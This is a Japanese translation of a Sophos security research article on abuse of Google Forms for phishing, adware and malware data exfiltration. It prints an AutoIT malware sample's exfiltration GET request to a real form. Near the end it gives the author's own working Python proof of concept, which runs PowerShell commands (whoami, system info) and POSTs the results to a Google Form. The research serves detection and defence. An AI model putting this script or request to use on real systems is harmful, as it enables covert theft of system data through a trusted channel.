** 本記事は、英語記事タイトル の翻訳です。最新の情報は英語記事をご覧ください。**
今年の初めに、ソフォスが C&C とのトラフィックやダウンロードを隠すために TLS (トランスポートレイヤーセキュリティ) で通信しているマルウェアを調査したところ、Google のクラウドサービスへのトラフィックが多いことが判明しました。テレメトリで検出された送信先には、Google フォームのページが多数含まれていました。
正規のパブリッククラウドサービスをマルウェアが悪用することは、今に始まったことではありません。過去にも、マルウェアが GitHub、Pastebin、Telegram、Discord などのサービスを悪用するケースがありました。また、Google ドキュメントや Google スプレッドシートが感染経路や C&C システムの一部として利用されているケースもあります。いずれの場合も、サイバー攻撃者はこれらの正規のサービスの Web ベースのインターフェースを利用して、保存されているファイルの取得、攻撃に利用可能なデータの取得、実行結果の報告、感染したシステムからのデータ流出のいずれかの操作を行います。Google フォームは TLS で保護されているため、フォームに送信されたデータの内容は Web プロキシを使用しなければ確認できません。そのため、これらのトラフィックは Google アプリケーションへの正当な通信のように見えます。
Google フォームはさまざまな方法で悪用されています。Google フォームは初歩的なフィッシング攻撃に使用されるケースもあります。Google フォームではこれらのフォームにパスワードを入力しないように警告するテキストを表示していますが、ログインページのように見せかけたフォームに認証情報を入力させようとする攻撃が確認されています。これらのフォームは、悪意のあるスパムキャンペーンに関連していることが多くあります。
また、ユーザーインターフェイスの要素に Google フォームを使用する悪意のある Android アプリケーションも多く検出されています。そして、Google フォームページへの Web リクエストを利用してコンピュータからデータを流出させる悪意のある Windows アプリケーションもいくつか検出されています。ソフォスはデモの目的で、細工した Web リクエストを Python スクリプトで使用して、システムデータを Google フォームを介して Google スプレッドシートにプッシュして集約して、データを外部に送信できることを確認しました。
フィッシングのために詐欺師に悪用される Google フォーム
巧妙な Web フィッシング攻撃の多くは、なりすましたサービスのサイトのデザインを忠実に再現した HTML ページを使用しています。しかし、エントリーレベルの詐欺師は、Google フォームであらかじめ設定されているデザインテンプレートをそのまま利用して、安全な e コマースページを偽装してクレジットカードを盗み出そうしたり、簡単にそれとわかるようなフィッシングフォームを作成したりしています。
Google フォームのリンクがスパムに最も多く含まれる場所の 1 つは、詐欺のマーケティングメールに含まれる「配信停止」リンクでした。ソフォスは、Office 365 の管理などのマイクロソフトのオンラインアカウントを標的としたスパムを利用するフィッシングキャンペーンを多数検出しています。これらのフィッシングは僅かな労力で実行できるようになっています。このスパムは、受信者のメールアカウントを今すぐに認証しないと利用が停止されると伝えてきますが、その時に認証のためのリンクを提示することも多くあります。これは Google フォームへのリンクになっていますが、マイクロソフトのグラフィックを使用して同社のページのように装っていますが、明らかに Google フォームのページでした。
Outlook.com と Hotmail のユーザーを標的としたメール:
「今すぐ更新」リンクをクリックすると、この Google フォームが表示される。
非常にシンプルな文言で Office 365 ユーザーを標的とする同様のスパムキャンペーン:
このリンクのクリック先のフィッシングページも同じように簡単に作成されている:
いずれの場合も、これらのフォームに入力されたデータは、Google スプレッドシートに保存され、フィッシングキャンペーンのオペレーターがエクスポートできる仕組みになっています。リンク先は docs.google.com/forms になっており、ページの下部には Google Forms と記載されており、「Google フォームでパスワードを送信しないでください」と警告されていることから、詐欺であることが容易に判別できます。しかし、企業情報や個人のメールアカウントを窃取するために詐欺師はこのようなフォームを使い続けていることから、十分に機能していると考えられます。
マルウェアと潜在的に迷惑なアプリ (PUA)
今回のソフォスの調査では、バックエンドの Web サイトをコーディングすることなくデータを取得するために Google フォームを使用している悪意のある Android アプリケーションパッケージが多く検出されています。これらのアプリケーションの多くは、潜在的に迷惑なアプリ (PUA) や、Android アドウェアに関連するコンポーネントを使用するアプリであり、主に、ユーザーとのインターフェース機能の一部として Google フォームを使用していました。たとえば、SnapTube は、Web 広告詐欺によって開発者に収益をもたらすビデオアプリですが、ユーザーフィードバックのために Google フォームのページを追加しています。
このようなケースでは、Google フォームのページが表示されますが、Windows ユーザーを標的とするいくつかの PUA も検出されています。これらのアプリケーションは、Google フォームのページを密かに使用し、Web リクエストをプログラムを使用して処理しており、ユーザーが操作しなくてもデータを送信できるようにしていました。また、ソフォスのテレメトリを分析したところ、PowerShell スクリプトと Google フォームが連携しているケースも見つかりました。
データを外部に送信するために Google フォームを明らかに利用している検体として、checkbrowser.exe という実行ファイルが確認されています。このファイルは、セキュリティが侵害されたイタリア語の WordPress ブログ (tecnopc.info) をホスティングするドメインから配信されていたと考えられます。これは AutoIT でコンパイルされたスクリプトであり、このプログラムが実行されると、Windows の証明書信頼リストの変更、リモートアクセスサービス API の変更、インターネットプロキシ設定や他のインターネットセキュリティポリシーに関する Windows レジストリの設定の削除が行われます。
さらに、AutoIT スクリプトは、言語設定、マウスの設定、マシン名などのシステムデータを収集します。これらは、サンドボックス分析を回避するための処理の一部であり、特定の言語環境で実行されないようにするための処置だと考えられます。次に、安全な HTTPS リクエストを介して docs.google.com にアクセスし、Google フォームの送信を受け入れさせて、システム情報をエクスポートします。
Fiddler を使用してこのリクエストを傍受して、フォームの URI を取得できました。リクエストのフォーマットを少し変更したところ、フォーム自体を表示できました。
フォームのフィールド (クライアント名、コンピュータ名、ユーザー名、オペレーティングシステムのバージョン、Internet Explorer のバージョン) は、フォームに送られた POST リクエストの内容と一致しています。
GET /forms/d/16LSwmJnCIOAuNnOD631ki0wfe_4eu_PWMbCEI_6Uh24/formResponse?entry.1633051194=[user name if detected]&entry.1018322823=[computer name]&entry.328100715=[user name]&entry.1878239517=[Windows version]&entry.1356961775=[Internet Explorer version number] HTTP/1.1
GET リクエストの各エントリの番号は、フォームオブジェクトのパラメータを含む配列の一部として、リモートフォームの各フィールドのコンテナに関連付けられた番号と一致します。例として、「クライアント名」のエントリを囲む div タグを以下に示します。
<div jsmodel="CP1oW" data-params="%.@.[321264449,"Nome Cliente";,null,0,[[1633051194,[],false,[],[],null,null,null,null,null,[null,[]]]],null,null,null,[]]......
配列の最初の要素は、エントリ ID である 1633051194 であり、GET リクエストのパラメータと一致します。ソフォスが確認およびテストしたケースでは、このフィールドの値は常に「Sconosciuto」(イタリア語で「不明」の意)でした。
私が発見したロシア語の Google フォームを利用する別のマルウェアも同じような戦略を採用しており、curl コマンドを使用して POST リクエストを実行し、ビデオアダプター、画面解像度、プロセッサデータを取得していました。
Google フォームを使用してデータを外部に送信できるか試してみた
このようなプログラムを使用する Google フォームの悪用を防止する方法を考案するために、自分で Google フォームを悪用してみることにしました。必要なのは、書き込み権限のある Google アカウント、専用のフォーム、そしてローカルシステムのデータを取得して HTML POST リクエストに貼り付けるコードだけです。
自分の Google アカウントでフォームを作成し、Firefox の開発者ツールでフォームを開き、フォームのエントリ識別番号を確認しました。
実際のフォーム送信形式を理解するために、いくつかのテストデータを入力し、Firefox コンソールからデータを見てみました。
必要なフォームデータは、「entry.[number]」という名前のデータだけであり、他のデータを POST リクエストに含める必要はありませんでした。
適切なフォームエントリ ID がわかったので、Windows のシステム情報を取得してフォームに出力する Python スクリプトを書きました。Python のサブプロセスライブラリを使って、いくつかの PowerShell コマンドをOSに渡しました。
import requests, os, sys, subprocess result1 = subprocess.run('powershell Get-ComputerInfo "*version"', stdout=subprocess.PIPE) result2 = subprocess.run('powershell Get-CimInstance -ClassName Win32_ComputerSystem', stdout=subprocess.PIPE) result3 = subprocess.run('powershell whoami', stdout=subprocess.PIPE) url = 'https://docs.google.com/forms/d/e/[Google Forms app ID]/formResponse' exfil = {'entry.[first entry ID number]': result1, 'entry.[second entry ID number]' : result2, 'entry.[third entry ID number]' : result3} x = requests.post(url, data = exfil) print(x.text)
Print コマンドは、POSTの結果を HTML で返します。
フォームに渡されたデータは、スプレッドシートで見ることができます。
僅か数行のスクリプトで、外部にデータを送信できる簡易なツールを作成できました 。これは、PowerShell やその他のスクリプト言語で簡単に完全に実行できます。
悪用が簡単
Google フォームが悪用されているケースの多くは、スキルレベルの低いフィッシングや詐欺スパムですが、データの流出やマルウェアの C&C にも利用される可能性は高いと考えられます。その理由は、実装が非常に簡単だからです。Google は、Googleは、Googleフォームなどのアプリケーションを大規模かつ不正に使用しているアカウントを頻繁にシャットダウンしていますが、マルウェアが標的型攻撃でフォームを使用しているケースなどは検出されない恐れがもあります。
Google などの正規のクラウドサービスがマルウェアに悪用されるケースが増えていますが、その理由は容易に想像がつきます。それは、組織に信頼されて利用されており、TLS で保護されており、さらに無料のインフラストラクチャを攻撃に転用できることです。
ソフォス製品は、フォームベースのフィッシングキャンペーンを仕掛けるほぼすべての悪意のあるスパムからユーザーを保護し、ここで説明したマルウェアや検体で使用されている手法でシステム情報を収集し外部に流出させる活動も検出します。ユーザーは、Google フォームや他の正規のサービスへのリンクから認証情報を取得しようとするようなメールなどには十分に警戒する必要があります。これらのドメインを送信先とする TLS トラフィックを基本的には盲目的に信用するべきではありません。